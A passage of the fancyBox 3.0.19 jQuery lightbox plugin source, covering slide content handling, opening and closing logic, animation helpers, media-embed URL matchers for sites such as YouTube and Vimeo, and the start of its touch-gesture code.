        // This helps IE not to throw errors when closing

        try {

          $(this).find('iframe').hide().attr('src', '//about:blank');

        } catch (ignore) {}

        $(this).empty();

      });

    },


    // Wrap and append content to the slide
    // ======================================

    setContent : function ( slide, content ) {

      var self = this;

      if ( self.isClosing ) {
        return;
      }

      self.hideLoading( slide );

      slide.$slide.empty();

      if ( isQuery( content ) && content.parent().length ) {

        // If it is a jQuery object, then it will be moved to the box.
        // The placeholder is created so we will know where to put it back.
        // If user is navigating gallery fast, then the content might be already moved to the box

        if ( content.data( 'placeholder' ) ) {
          content.parents('.fancybox-slide').trigger( 'onReset' );
        }

        content.data({'placeholder' : $('<div></div>' ).hide().insertAfter( content ) }).css('display', 'inline-block');

      } else {

        if ( $.type( content ) === 'string' ) {

          content = $('<div>').append( content ).contents();

          if ( content[0].nodeType === 3 ) {
            content = $('<div>').html( content );
          }

        }

        if ( slide.opts.selector ) {
          content = $('<div>').html( content ).find( slide.opts.selector );
        }

      }

      slide.$slide.one('onReset', function () {
        var placeholder = isQuery( content ) ? content.data('placeholder') : 0;

        if ( placeholder ) {
          content.hide().replaceAll( placeholder );

          content.data( 'placeholder', null );
        }

        $(this).empty();

        slide.isLoaded = false;

      });

      slide.$content = $( content ).appendTo( slide.$slide );

      if ( slide.opts.smallBtn === true ) {
        slide.$content.find( '.fancybox-close-small' ).remove().end().eq(0).append( slide.opts.closeTpl );
      }

      this.afterLoad( slide );

    },

    // Display error message
    // =====================

    setError : function ( slide ) {

      slide.hasError = true;

      this.setContent( slide, slide.opts.errorTpl );

    },


    showLoading : function( slide ) {
      var self = this;

      slide = slide || self.current;

      if ( slide && !slide.$spinner ) {
        slide.$spinner = $( self.opts.spinnerTpl ).appendTo( slide.$slide );
      }

    },

    hideLoading : function( slide ) {

      var self = this;

      slide = slide || self.current;

      if ( slide && slide.$spinner ) {
        slide.$spinner.remove();

        delete slide.$spinner;
      }

    },

    afterMove : function() {

      var self    = this;
      var current = self.current;

      if ( !current ) {
        return;
      }

      current.isMoved = true;

      current.$slide.siblings().trigger( 'onReset' );

      // Remove unnecessary slides
      $.each( self.slides, function( key, slide ) {

        // Leave current and neighbouring slides
        if ( slide.pos < self.currPos - 1 || slide.pos > self.currPos + 1 ) {

          slide.$slide.remove();

          delete self.slides[ key ];
        }

      });

      self.trigger( 'afterMove' );

      if ( current.isLoaded ) {
        self.complete();
      }

    },

    // Adjustments after slide has been loaded
    // =======================================

    afterLoad : function( slide ) {

      var self = this;

      if ( self.isClosing ) {
        return;
      }

      slide.isLoading = false;
      slide.isLoaded  = true;

      self.trigger( 'afterLoad', slide );

      self.hideLoading( slide );

      // Resize content to fit inside slide
      // Do not update in case we have $ghost element - user might have already zoomed/swiped
      if ( !slide.$ghost ) {
        self.updateSlide( slide, true );
      }

      if ( slide.index === self.currIndex ) {

        if ( slide.isMoved ) {
          self.complete();

        } else {
          self.revealImage( slide );
        }

        // Load next and previous image if needed
        if ( self.slides[ self.currPos + 1 ] && self.slides[ self.currPos + 1 ].type === 'image' ) {
          self.loadSlide( self.slides[ self.currPos + 1 ] );
        }

        if ( self.slides[ self.currPos - 1 ] && self.slides[ self.currPos - 1 ].type === 'image' ) {
          self.loadSlide( self.slides[ self.currPos - 1 ] );
        }

      } else {
        self.revealImage( slide );
      }

    },

    // Final adjustments after current gallery item is moved to position
    // and it`s content is loaded
    // ==================================================================

    complete : function() {

      var self   = this;
      var curent = self.current;

      curent.isComplete = true;

      self.trigger( 'onComplete' );

      if ( !(self.allowZoomIn && self.zoomIn() ) ) {

        self.isOpening = false;

        self.revealImage( curent );
      }

      curent.$slide.addClass('fancybox-slide--complete');

      if ( self.opts.focus ) {
        self.focus();
      }

    },


    // Try to find and focus on the first focusable element
    // ====================================================

    focus : function() {

      var $el = this.current && this.current.isComplete ? this.current.$slide.find('button,:input,[tabindex],a:not(".disabled")').filter(':visible:first') : null;

      if ( !$el || !$el.length ) {
        $el = this.$refs.container;

      }

      $el.focus();

      // Scroll position of wrapper element sometimes changes after focusing (IE)
      this.$refs.slider_wrap.scrollLeft(0);

      // And the same goes for slide element
      if ( this.current ) {
        this.current.$slide.scrollTop(0);
      }
    },


    // Activates current instance - brings container to the front and enables keyboard,
    // notifies other instances about deactivating
    // =================================================================================

    activate : function () {
      var self = this;

      // Deactivate all instances

      $( '.fancybox-container' ).each(function () {

        var instance = $(this).data( 'FancyBox' );

        // Skip self and closing instances

        if (instance && instance.uid !== self.uid && !instance.isClosing) {
          instance.trigger( 'onDeactivate' );
        }

      });

      if ( self.current ) {

        if ( self.$refs.container.index() > 0 ) {
          self.$refs.container.prependTo( document.body );
        }

        self.updateControls();
      }

      self.trigger( 'onActivate' );

      self.addEvents();

    },


    // Start closing procedure
    // This will start "zoom-out" animation if needed and clean everything up afterwards
    // =================================================================================

    close : function( e ) {

      var self    = this;
      var current = self.current;

      var done = $.proxy(function() {

        self.cleanUp( e );  // Now "this" is again our instance

      }, this);

      if ( self.isAnimating || self.isClosing ) {
        return false;
      }

      self.isClosing = true;

      if ( current.timouts ) {
        clearTimeout( current.timouts );
      }

      if ( e !== true) {
        $.fancybox.stop( self.$refs.slider );
      }

      self.$refs.container
        .removeClass('fancybox-container--active')
        .addClass('fancybox-container--closing');

      current.$slide
        .removeClass('fancybox-slide--complete')
        .siblings()
        .remove();


      if ( !current.isMoved ) {
        current.$slide.css('overflow', 'visible');
      }

      // Remove all events
      // If there are multiple instances, they will be set again by "activate" method

      self.removeEvents();

      // Clean up

      self.hideLoading( current );

      self.hideControls();

      self.updateCursor();

      self.trigger( 'beforeClose', current, e );

      if ( e === true) {
        setTimeout( done, current.opts.speed );

        this.$refs.container.removeClass( 'fancybox-container--ready' );

      } else if ( !self.zoomOut( done ) ) {

        $.fancybox.animate( self.$refs.container, null, { opacity : 0 }, current.opts.speed, "easeInSine", done );

      }

    },


    // Final adjustments after removing the instance
    // =============================================

    cleanUp : function( e ) {
      var self = this,
        instance;

      self.$refs.slider.children().trigger( 'onReset' );

      self.$refs.container.empty().remove();

      self.current = null;

      self.trigger( 'afterClose', e);

      // Check if there are other instances

      instance = $.fancybox.getInstance();

      if ( instance ) {
        instance.activate();

      } else {

        $( 'body' ).removeClass( 'fancybox-enabled' );

        $( '#fancybox-noscroll' ).remove();

      }

      // Place back focus
      if ( self.$lastFocus ) {
        self.$lastFocus.focus();
      }

      $W.scrollTop( self.scrollTop ).scrollLeft( self.scrollLeft );

    },


    // Call callback and trigger an event
    // ==================================

    trigger : function( name, slide ) {
      var args  = Array.prototype.slice.call(arguments, 1),
        self  = this,
        obj   = slide && slide.opts ? slide : self.current;

      if ( obj ) {
        args.unshift( obj );

      } else {
        obj = self;
      }

      args.unshift( self );

      if ( $.isFunction( obj.opts[ name ] ) ) {
        obj.opts[ name ].apply( obj, args );
      }

      self.$refs.container.trigger( name + '.fb', args);

    },


    // Toggle toolbar and caption
    // ==========================

    toggleControls : function( force ) {

      if ( this.isHiddenControls ) {
        this.updateControls( force );

      } else {
        this.hideControls();
      }


    },


    // Hide toolbar and caption
    // ========================

    hideControls : function () {

      this.isHiddenControls = true;

      this.$refs.container.removeClass('fancybox-show-controls');

      this.$refs.container.removeClass('fancybox-show-caption');

    },


    // Update infobar values, navigation button states and reveal caption
    // ==================================================================

    updateControls : function ( force ) {

      var self = this;

      var $container = self.$refs.container;
      var $caption   = self.$refs.caption;

      // Toggle infobar and buttons

      var current  = self.current;
      var index    = current.index;
      var opts     = current.opts;
      var caption  = opts.caption;

      if ( this.isHiddenControls && force !== true ) {
        return;
      }

      this.isHiddenControls = false;

      self.$refs.container.addClass('fancybox-show-controls');

      $container
        .toggleClass('fancybox-show-infobar', !!opts.infobar && self.group.length > 1)
        .toggleClass('fancybox-show-buttons', !!opts.buttons )
        .toggleClass('fancybox-is-modal',     !!opts.modal );

      $('.fancybox-button--left',  $container).toggleClass( 'fancybox-button--disabled', (!opts.loop && index <= 0 ) );
      $('.fancybox-button--right', $container).toggleClass( 'fancybox-button--disabled', (!opts.loop && index >= self.group.length - 1) );

      $('.fancybox-button--play',  $container).toggle( !!( opts.slideShow && self.group.length > 1) );
      $('.fancybox-button--close', $container).toggle( !!opts.closeBtn );

      // Update infobar values

      $('.js-fancybox-count', $container).html( self.group.length );
      $('.js-fancybox-index', $container).html( index + 1 );

      // Recalculate content dimensions
      current.$slide.trigger( 'refresh' );

      // Reveal or create new caption
      if ( $caption ) {
        $caption.empty();
      }

      if ( caption && caption.length ) {
        $caption.html( caption );

        this.$refs.container.addClass( 'fancybox-show-caption ');

        self.$caption = $caption;

      } else {
        this.$refs.container.removeClass( 'fancybox-show-caption' );

      }

    }

  });


  $.fancybox = {

    version  : "3.0.19",
    defaults : defaults,


    // Get current instance and execute a command.
    //
    // Examples of usage:
    //
    //   $instance = $.fancybox.getInstance();
    //   $.fancybox.getInstance().jumpTo( 1 );
    //   $.fancybox.getInstance( 'jumpTo', 1 );
    //   $.fancybox.getInstance( function() {
    //       console.info( this.currIndex );
    //   });
    // ======================================================

    getInstance : function ( command ) {
      var instance = $('.fancybox-container:not(".fancybox-container--closing"):first').data( 'FancyBox' );
      var args     = Array.prototype.slice.call(arguments, 1);

      if ( instance instanceof FancyBox ) {

        if ( $.type( command ) === 'string' ) {
          instance[ command ].apply( instance, args );

        } else if ( $.type( command ) === 'function' ) {
          command.apply( instance, args );

        }

        return instance;
      }

      return false;

    },


    // Create new instance
    // ===================

    open : function ( items, opts, index ) {
      return new FancyBox( items, opts, index );
    },


    // Close current or all instances
    // ==============================

    close : function ( all ) {
      var instance = this.getInstance();

      if ( instance ) {
        instance.close();

        // Try to find and close next instance

        if ( all === true ) {
          this.close();
        }
      }

    },


    // Test for the existence of touch events in the browser
    // Limit to mobile devices
    // ====================================================

    isTouch : document.createTouch !== undefined && /Android|webOS|iPhone|iPad|iPod|BlackBerry/i.test(navigator.userAgent),


    // Detect if 'translate3d' support is available
    // ============================================

    use3d : (function() {
      var div = document.createElement('div');

      return window.getComputedStyle( div ).getPropertyValue('transform') && !(document.documentMode && document.documentMode <= 11);
    }()),


    // Helper function to get current visual state of an element
    // returns array[ top, left, horizontal-scale, vertical-scale, opacity ]
    // =====================================================================

    getTranslate : function( $el ) {
      var position, matrix;

      if ( !$el || !$el.length ) {
        return false;
      }

      position = $el.get( 0 ).getBoundingClientRect();
      matrix   = $el.eq( 0 ).css('transform');

      if ( matrix && matrix.indexOf( 'matrix' ) !== -1 ) {
        matrix = matrix.split('(')[1];
        matrix = matrix.split(')')[0];
        matrix = matrix.split(',');
      } else {
        matrix = [];
      }

      if ( matrix.length ) {

        // If IE
        if ( matrix.length > 10 ) {
          matrix = [ matrix[13], matrix[12], matrix[0], matrix[5] ];

        } else {
          matrix = [ matrix[5], matrix[4], matrix[0], matrix[3]];
        }

        matrix = matrix.map(parseFloat);

      } else {
        matrix = [ 0, 0, 1, 1 ];
      }

      return {
        top     : matrix[ 0 ],
        left    : matrix[ 1 ],
        scaleX  : matrix[ 2 ],
        scaleY  : matrix[ 3 ],
        opacity : parseFloat( $el.css('opacity') ),
        width   : position.width,
        height  : position.height
      };

    },


    // Shortcut for setting "translate3d" properties for element
    // Can set be used to set opacity, too
    // ========================================================

    setTranslate : function( $el, props ) {
      var str  = '';
      var css  = {};

      if ( !$el || !props ) {
        return;
      }

      if ( props.left !== undefined || props.top !== undefined ) {

        str = ( props.left === undefined ? $el.position().top : props.left )  + 'px, ' + ( props.top === undefined ? $el.position().top : props.top ) + 'px';

        if ( this.use3d ) {
          str = 'translate3d(' + str + ', 0px)';

        } else {
          str = 'translate(' + str + ')';
        }

      }

      if ( props.scaleX !== undefined && props.scaleY !== undefined ) {
        str = (str.length ? str + ' ' : '') + 'scale(' + props.scaleX + ', ' + props.scaleY + ')';
      }

      if ( str.length ) {
        css.transform = str;
      }

      if ( props.opacity !== undefined ) {
        css.opacity = props.opacity;
      }

      if ( props.width !== undefined ) {
        css.width = props.width;
      }

      if ( props.height !== undefined ) {
        css.height = props.height;
      }

      return $el.css( css );

    },


    // Common easings for entrances and exits
    // t: current time, b: begInnIng value, c: change In value, d: duration
    // ====================================================================

    easing : {
      easeOutCubic : function (t, b, c, d) {
        return c * ((t=t/d-1)*t*t + 1) + b;
      },
      easeInCubic : function (t, b, c, d) {
        return c * (t/=d)*t*t + b;
      },
      easeOutSine : function (t, b, c, d) {
        return c * Math.sin(t/d * (Math.PI/2)) + b;
      },
      easeInSine : function (t, b, c, d) {
        return -c * Math.cos(t/d * (Math.PI/2)) + c + b;
      }
    },


    // Stop fancyBox animation
    // =======================

    stop : function( $el ) {

      $el.removeData( 'animateID' );

    },

    // Animate element using "translate3d"
    // Usage:
    // animate( element, start properties, end properties, duration, easing, callback )
    // or
    // animate( element, start properties, end properties, duration, callback )
    // =================================================================================

    animate : function( $el, from, to, duration, easing, done ) {

      var self = this;

      var lastTime  = null;
      var animTime  = 0;

      var curr;
      var diff;
      var id;

      var frame = function ( timestamp ) {
        curr = [];
        diff = 0;

        // If "stop" method has been called on this element, then just stop
        if ( !$el.length || $el.data( 'animateID' ) !== id ) {
          return;
        }

        timestamp = timestamp || Date.now();

        if ( lastTime ) {
          diff = timestamp - lastTime;
        }

        lastTime = timestamp;
        animTime += diff;

        // Are we done?
        if ( animTime >= duration ) {

          if ( to.scaleX !== undefined && to.scaleY !== undefined && from.width !== undefined && from.height !== undefined ) {
            to.width  = from.width  * to.scaleX;
            to.height = from.height * to.scaleY;

            to.scaleX = 1;
            to.scaleY = 1;
          }

          self.setTranslate( $el, to );

          done();

          return;
        }

        for ( var prop in to ) {

          if ( to.hasOwnProperty( prop ) && from[ prop ] !== undefined ) {

            if ( from[ prop ] == to[ prop ] ) {
              curr[ prop ] = to[ prop ];

            } else {
              curr[ prop ] = self.easing[ easing ]( animTime, from[ prop ], to[ prop ] - from[ prop ], duration );
            }

          }
        }

        self.setTranslate( $el, curr );

        requestAFrame( frame );
      };

      self.animateID = id = self.animateID === undefined ? 1 : self.animateID + 1;

      $el.data( 'animateID', id );

      if ( done === undefined && $.type(easing) == 'function' ) {
        done   = easing;
        easing = undefined;
      }

      if ( !easing ) {
        easing = "easeOutCubic";
      }

      done = done || $.noop;

      if ( !duration ) {
        this.setTranslate( $el, to );

        done();

        return;
      }

      if ( from ) {
        this.setTranslate( $el, from );


      } else {

        // We need current values to calculate change in time
        from = this.getTranslate( $el );

      }

      $el.show();

      requestAFrame( frame );
    }

  };


  // Event handler for click event to "fancyboxed" links
  // ===================================================

  function _run( e ) {
    var target	= e.currentTarget,
      opts	= e.data ? e.data.options : {},
      items	= e.data ? e.data.items : [],
      value	= '',
      index	= 0;

    e.preventDefault();
    e.stopPropagation();

    // Get all related items and find index for clicked one

    if ( $(target).attr( 'data-fancybox' ) ) {
      value = $(target).data( 'fancybox' );
    }

    if ( value ) {
      items = items.length ? items.filter( '[data-fancybox="' + value + '"]' ) : $( '[data-fancybox=' + value + ']' );
      index = items.index( target );

    } else {
      items = [ target ];
    }

    $.fancybox.open( items, opts, index );
  }


  // Create a jQuery plugin
  // ======================

  $.fn.fancybox = function (options) {

    this.off('click.fb-start').on('click.fb-start', {
      items   : this,
      options : options || {}
    }, _run);

    return this;

  };


  // Self initializing plugin
  // ========================

  $(document).on('click.fb-start', '[data-fancybox]', _run);

}(window, document, window.jQuery));

// ==========================================================================
//
// Media
// Adds additional media type support
//
// ==========================================================================
;(function ($) {

  'use strict';

  // Formats matching url to final form

  var format = function (url, rez, params) {
    if (!url) {
      return;
    }
    params = params || '';

    if ($.type(params) === "object") {
      params = $.param(params, true);
    }

    $.each(rez, function (key, value) {
      url = url.replace('$' + key, value || '');
    });

    if (params.length) {
      url += (url.indexOf('?') > 0 ? '&' : '?') + params;
    }

    return url;
  };

  // Object containing properties for each media type

  var media = {
    youtube: {
      matcher: /(youtube\.com|youtu\.be|youtube\-nocookie\.com)\/(watch\?(.*&)?v=|v\/|u\/|embed\/?)?(videoseries\?list=(.*)|[\w-]{11}|\?listType=(.*)&list=(.*))(.*)/i,
      params: {
        autoplay: 1,
        autohide: 1,
        fs: 1,
        rel: 0,
        hd: 1,
        wmode: 'transparent',
        enablejsapi: 1,
        html5: 1
      },
      paramPlace : 8,
      type: 'iframe',
      url: '//www.youtube.com/embed/$4',
      thumb: '//img.youtube.com/vi/$4/hqdefault.jpg'
    },

    vimeo: {
      matcher: /((player\.)?vimeo(pro)?\.com)\/(video\/)?([\d]+)?(\?(.*))?/,
      params: {
        autoplay: 1,
        hd: 1,
        show_title: 1,
        show_byline: 1,
        show_portrait: 0,
        fullscreen: 1,
        api: 1
      },
      paramPlace : 7,
      type: 'iframe',
      url: '//player.vimeo.com/video/$5'
    },

    metacafe: {
      matcher: /metacafe.com\/watch\/(\d+)\/(.*)?/,
      type: 'iframe',
      url: '//www.metacafe.com/embed/$1/?ap=1'
    },

    dailymotion: {
      matcher: /dailymotion.com\/video\/(.*)\/?(.*)/,
      params: {
        additionalInfos: 0,
        autoStart: 1
      },
      type: 'iframe',
      url: '//www.dailymotion.com/embed/video/$1'
    },

    vine: {
      matcher: /vine.co\/v\/([a-zA-Z0-9\?\=\-]+)/,
      type: 'iframe',
      url: '//vine.co/v/$1/embed/simple'
    },

    instagram: {
      matcher: /(instagr\.am|instagram\.com)\/p\/([a-zA-Z0-9_\-]+)\/?/i,
      type: 'image',
      url: '//$1/p/$2/media/?size=l'
    },

    // Examples:
    // http://maps.google.com/?ll=48.857995,2.294297&spn=0.007666,0.021136&t=m&z=16
    // http://maps.google.com/?ll=48.857995,2.294297&spn=0.007666,0.021136&t=m&z=16
    // https://www.google.lv/maps/place/Googleplex/@37.4220041,-122.0833494,17z/data=!4m5!3m4!1s0x0:0x6c296c66619367e0!8m2!3d37.4219998!4d-122.0840572
    google_maps: {
      matcher: /(maps\.)?google\.([a-z]{2,3}(\.[a-z]{2})?)\/(((maps\/(place\/(.*)\/)?\@(.*),(\d+.?\d+?)z))|(\?ll=))(.*)?/i,
      type: 'iframe',
      url: function (rez) {
        return '//maps.google.' + rez[2] + '/?ll=' + ( rez[9] ? rez[9] + '&z=' + Math.floor(  rez[10]  ) + ( rez[12] ? rez[12].replace(/^\//, "&") : '' )  : rez[12] ) + '&output=' + ( rez[12] && rez[12].indexOf('layer=c') > 0 ? 'svembed' : 'embed' );
      }
    }
  };

  $(document).on('onInit.fb', function (e, instance) {

    $.each(instance.group, function( i, item ) {

      var url	 = item.src || '',
        type = false,
        thumb,
        rez,
        params,
        urlParams,
        o,
        id,
        provider;

      // Skip items that already have content type
      if ( item.type ) {
        return;
      }

      // Look for any matching media type

      $.each(media, function ( n, el ) {
        rez = url.match(el.matcher);
        o   = {};
        provider = n;

        if (!rez) {
          return;
        }

        type = el.type;

        if ( el.paramPlace && rez[ el.paramPlace ] ) {
          urlParams = rez[ el.paramPlace ];

          if ( urlParams[ 0 ] == '?') {
            urlParams = urlParams.substring(1);
          }

          urlParams = urlParams.split('&');

          for ( var m = 0; m < urlParams.length; ++m ) {
            var p = urlParams[ m ].split('=', 2);

            if ( p.length == 2 ) {
              o[ p[0] ] = decodeURIComponent( p[1].replace(/\+/g, " ") );
            }
          }
        }

        if ( el.idPlace ) {
          id = rez[ el.idPlace ];
        }

        params = $.extend( true, {}, el.params, item.opts[ n ], o );

        url   = $.type(el.url) === "function" ? el.url.call(this, rez, params, item) : format(el.url, rez, params);
        thumb = $.type(el.thumb) === "function" ? el.thumb.call(this, rez, params, item) : format(el.thumb, rez);

        return false;
      });

      // If it is found, then change content type and update the url

      if ( type ) {
        item.src  = url;
        item.type = type;

        if ( !item.opts.thumb && !(item.opts.$thumb && item.opts.$thumb.length ) ) {
          item.opts.thumb = thumb;
        }

        if ( id ) {
          item.opts.id = provider + '-' + id;
        }

        if ( type === 'iframe' ) {
          $.extend(true, item.opts, {
            iframe : {
              preload   : false,
              scrolling : "no"
            },
            smallBtn   : false,
            closeBtn   : true,
            fullScreen : false,
            slideShow  : false
          });

          item.opts.slideClass += ' fancybox-slide--video';
        }

      } else {

        // If no content type is found, then set it to `iframe` as fallback
        item.type = 'iframe';

      }

    });

  });

}(window.jQuery));

// ==========================================================================
//
// Guestures
// Adds touch guestures, handles click and tap events
//
// ==========================================================================
;(function (window, document, $) {
  'use strict';

  var requestAFrame = (function() {
    return  window.requestAnimationFrame ||
      window.webkitRequestAnimationFrame ||
      window.mozRequestAnimationFrame ||
      function( callback ) {
        window.setTimeout(callback, 1000 / 60); };
  })();


  var pointers = function( e ) {
    var result = [];

    e = e.originalEvent || e || window.e;
    e = e.touches && e.touches.length ? e.touches : ( e.changedTouches && e.changedTouches.length ? e.changedTouches : [ e ] );

    for ( var key in e ) {

      if ( e[ key ].pageX ) {
        result.push( { x : e[ key ].pageX, y : e[ key ].pageY } );

      } else if ( e[ key ].clientX ) {
        result.push( { x : e[ key ].clientX, y : e[ key ].clientY } );
      }
    }

    return result;
  };

  var distance = function( point2, point1, what ) {

    if ( what === 'x' ) {
      return point2.x - point1.x;

    } else if ( what === 'y' ) {
      return point2.y - point1.y;
    }

    return Math.sqrt( Math.pow( point2.x - point1.x, 2 ) + Math.pow( point2.y - point1.y, 2 ) );

  };

  var isClickable = function( $el ) {

    return $el.is('a') || $el.is('button') || $el.is('input') || $el.is('select') || $el.is('textarea') || $.isFunction( $el.get(0).onclick );

  };

  var hasScrollbars = function( el ) {
    var overflowY = window.getComputedStyle( el )['overflow-y'];
    var overflowX = window.getComputedStyle( el )['overflow-x'];

    var vertical   = (overflowY === 'scroll' || overflowY === 'auto') && el.scrollHeight > el.clientHeight;
    var horizontal = (overflowX === 'scroll' || overflowX === 'auto') && el.scrollWidth > el.clientWidth;

    return vertical || horizontal;
  };

  var isScrollable = function ( $el ) {

    var rez = false;

    while ( true ) {
      rez	= hasScrollbars( $el.get(0) );

      if ( rez ) {
        break;
      }

      $el = $el.parent();

      if ( !$el.length || $el.hasClass('fancybox-slider') || $el.is('body') ) {
        break;
      }

    }

    return rez;

  };


  var Guestures = function ( instance ) {

    var self = this;

    self.instance = instance;

    self.$wrap       = instance.$refs.slider_wrap;
    self.$slider     = instance.$refs.slider;
    self.$container  = instance.$refs.container;

    self.destroy();

    self.$wrap.on('touchstart.fb mousedown.fb', $.proxy(self, "ontouchstart"));

  };

  Guestures.prototype.destroy = function() {

    this.$wrap.off('touchstart.fb mousedown.fb touchmove.fb mousemove.fb touchend.fb touchcancel.fb mouseup.fb mouseleave.fb');

  };


  Guestures.prototype.ontouchstart = function( e ) {

    var self = this;

    var $target  = $( e.target );
    var instance = self.instance;
    var current  = instance.current;
    var $content = current.$content || current.$placeholder;

    var frame = function() {

      if ( self.sliderNewPos ) {
        $.fancybox.setTranslate( self.$slider, self.sliderNewPos );

        self.sliderNewPos = null;
      }

      if ( self.contentNewPos ) {
        $.fancybox.setTranslate( self.$content, self.contentNewPos );

        self.contentNewPos = null;
      }

      if ( self.isSwiping || self.isPanning || self.isZooming ) {
        requestAFrame( frame );
      }

    };

    // Ignore taping on links, buttons and scrollable items
    if ( isClickable( $target ) || isClickable( $target.parent() ) || ( isScrollable( $target ) && !$target.hasClass('fancybox-slide') ) ) {
      return;
    }

    e.stopPropagation();
    e.preventDefault();

    if ( !current || self.instance.isAnimating || self.instance.isClosing ) {
      return;
    }

    self.startPoints = pointers( e );

    // Prevent zooming if already swiping
    if ( self.startPoints.length > 1 && !current.isMoved ) {
      return;
    }

    self.$wrap.off('touchmove.fb mousemove.fb',  $.proxy(self, "ontouchmove"));
    self.$wrap.off('touchend.fb touchcancel.fb mouseup.fb mouseleave.fb',  $.proxy(self, "ontouchend"));

    self.$wrap.on('touchmove.fb mousemove.fb',  $.proxy(self, "ontouchmove"));
    self.$wrap.on('touchend.fb touchcancel.fb mouseup.fb mouseleave.fb',  $.proxy(self, "ontouchend"));

    self.$target  = $target;
    self.$content = $content;

    self.startTime = new Date().getTime();
    self.distanceX = self.distanceY = self.distance = 0;

    self.canvasWidth  = Math.round( current.$slide.width() );
    self.canvasHeight = Math.round( current.$slide.height() );

    self.canTap    = current.isMoved;
    self.isPanning = false;
    self.isSwiping = false;
    self.isZooming = false;

    self.sliderStartPos = $.fancybox.getTranslate( self.$slider );
    self.sliderNewPos   = null;

    self.contentStartPos = $.fancybox.getTranslate( self.$content );
    self.contentNewPos   = null;

    if ( self.startPoints.length == 1 ) {

      if ( current.type === 'image' && ( self.contentStartPos.width > self.canvasWidth + 1 || self.contentStartPos.height > self.canvasHeight + 1 ) ) {

        $.fancybox.stop( self.$content );

        self.isPanning = true;

      } else {

        $.fancybox.stop( self.$slider );

        self.isSwiping = true;
      }

      self.$container.addClass('fancybox-controls--isGrabbing');

    }

    if ( current.type === 'image' && !current.hasError && self.startPoints.length == 2 && ( current.isLoaded || current.$ghost ) ) {

      self.isZooming = true;
      self.canTap    = false;

      $.fancybox.stop( self.$content );

      self.centerPointStartX = ((self.startPoints[0].x + self.startPoints[1].x) / 2) - $(window).scrollLeft();
      self.centerPointStartY = ((self.startPoints[0].y + self.startPoints[1].y) / 2) - $(window).scrollTop();

      self.percentageOfImageAtPinchPointX = ( self.centerPointStartX - self.contentStartPos.left ) / self.contentStartPos.width;
      self.percentageOfImageAtPinchPointY = ( self.centerPointStartY - self.contentStartPos.top  ) / self.contentStartPos.height;

      self.startDistanceBetweenFingers = distance( self.startPoints[0], self.startPoints[1] );

    }

    frame();
  };

  Guestures.prototype.ontouchmove = function( e ) {

    var self = this;

    e.preventDefault();

    if ( self.instance.isAnimating ) {
      return;
    }

    self.newPoints = pointers( e );

    if ( !self.newPoints.length ) {
      return;
    }

    self.distanceX = distance( self.newPoints[0], self.startPoints[0], 'x' );
    self.distanceY = distance( self.newPoints[0], self.startPoints[0], 'y' );

    self.distance = distance( self.newPoints[0], self.startPoints[0] );

    // Skip false ontouchmove events (Chrome)
    if ( self.distance > 0 ) {

      if ( self.isSwiping ) {
        self.onSwipe();

      } else if ( self.isPanning ) {
        self.onPan();

      } else if ( self.isZooming ) {
        self.onZoom();
      }

    }

  };

  Guestures.prototype.onSwipe = function() {

    var self = this;

    var swiping = self.isSwiping;
    var angle;

    if ( swiping === true ) {

      if ( Math.abs( self.distance ) > 10 )  {

        angle   = Math.abs( Math.atan2( self.distanceY, self.distanceX ) * 180 / Math.PI );
        swiping = ( angle > 45 && angle < 135 ) || self.instance.group.length <= 1 ? 'y' : 'x';

        if ( self.instance.opts.touch.vertical === false || ( self.instance.opts.touch.vertical === 'auto' && $( window ).width() > 800 ) ) {
          swiping = 'x';
        }

        self.isSwiping = swiping;
        self.canTap    = false;

        self.instance.current.isMoved = false;
        self.instance.allowZoomIn = false;

        // Reset points to avoid jumping, because we dropped first swipes to calculate the angle
        self.startPoints = self.newPoints;
      }

    } else {

      self.sliderNewPos = {
        top  : swiping == 'x' ? 0 : self.sliderStartPos.top  + self.distanceY,
        left : swiping == 'y' ? self.sliderStartPos.left : self.sliderStartPos.left + self.distanceX
      };

    }

  };

  Guestures.prototype.onPan = function() {

    var self = this;

    var newOffsetX, newOffsetY, newPos;

    self.canTap = false;

    if ( self.contentStartPos.width > self.canvasWidth ) {
      newOffsetX = self.contentStartPos.left + self.distanceX;

    } else {
      newOffsetX = self.contentStartPos.left;

    }

    newOffsetY = self.contentStartPos.top + self.distanceY;

    newPos = self.limitMovement( newOffsetX, newOffsetY, self.contentStartPos.width, self.contentStartPos.height );

    newPos.scaleX = self.contentStartPos.scaleX;
    newPos.scaleY = self.contentStartPos.scaleY;

    self.contentNewPos  = newPos;
    self.contentLastPos = newPos;

  };

  // Make panning sticky to the edges
  Guestures.prototype.limitMovement = function( newOffsetX, newOffsetY, newWidth, newHeight ) {

    var self = this;

    var minTranslateX, minTranslateY, maxTranslateX, maxTranslateY;

    var canvasWidth  = self.canvasWidth;
    var canvasHeight = self.canvasHeight;

    var currentOffsetX = self.contentStartPos.left;
    var currentOffsetY = self.contentStartPos.top;

    var distanceX = self.distanceX;
    var distanceY = self.distanceY;

    // Slow down proportionally to traveled distance

    minTranslateX = Math.max(0, canvasWidth  * 0.5 - newWidth  * 0.5 );
    minTranslateY = Math.max(0, canvasHeight * 0.5 - newHeight * 0.5 );

    maxTranslateX = Math.min( canvasWidth  - newWidth,  canvasWidth  * 0.5 - newWidth  * 0.5 );
    maxTranslateY = Math.min( canvasHeight - newHeight, canvasHeight * 0.5 - newHeight * 0.5 );

    if ( newWidth > canvasWidth ) {

      //   ->
      if ( distanceX > 0 && newOffsetX > minTranslateX ) {
        newOffsetX = minTranslateX - 1 + Math.pow(-minTranslateX + currentOffsetX + distanceX, 0.8 ) || 0;
      }

      //    <-
      if ( distanceX  < 0 && newOffsetX < maxTranslateX ) {
        newOffsetX = maxTranslateX + 1 - Math.pow( maxTranslateX - currentOffsetX - distanceX, 0.8 ) || 0;
      }

    }

    if ( newHeight > canvasHeight ) {

      //   \/
      if ( distanceY > 0 && newOffsetY > minTranslateY ) {
        newOffsetY = minTranslateY - 1 + Math.pow(-minTranslateY + currentOffsetY + distanceY, 0.8 ) || 0;
      }

      //   /\
      if ( distanceY < 0 && newOffsetY < maxTranslateY ) {
        newOffsetY = maxTranslateY + 1 - Math.pow ( maxTranslateY - currentOffsetY - distanceY, 0.8 ) || 0;
      }

    }

    return {
      top  : newOffsetY,
      left : newOffsetX
    };

  };


  Guestures.prototype.limitPosition = function( newOffsetX, newOffsetY, newWidth, newHeight ) {

    var self = this;

    var canvasWidth  = self.canvasWidth;
    var canvasHeight = self.canvasHeight;

    if ( newWidth > canvasWidth ) {
      newOffsetX = newOffsetX > 0 ? 0 : newOffsetX;
      newOffsetX = newOffsetX < canvasWidth - newWidth ? canvasWidth - newWidth : newOffsetX;

    } else {

      // Center horizontally
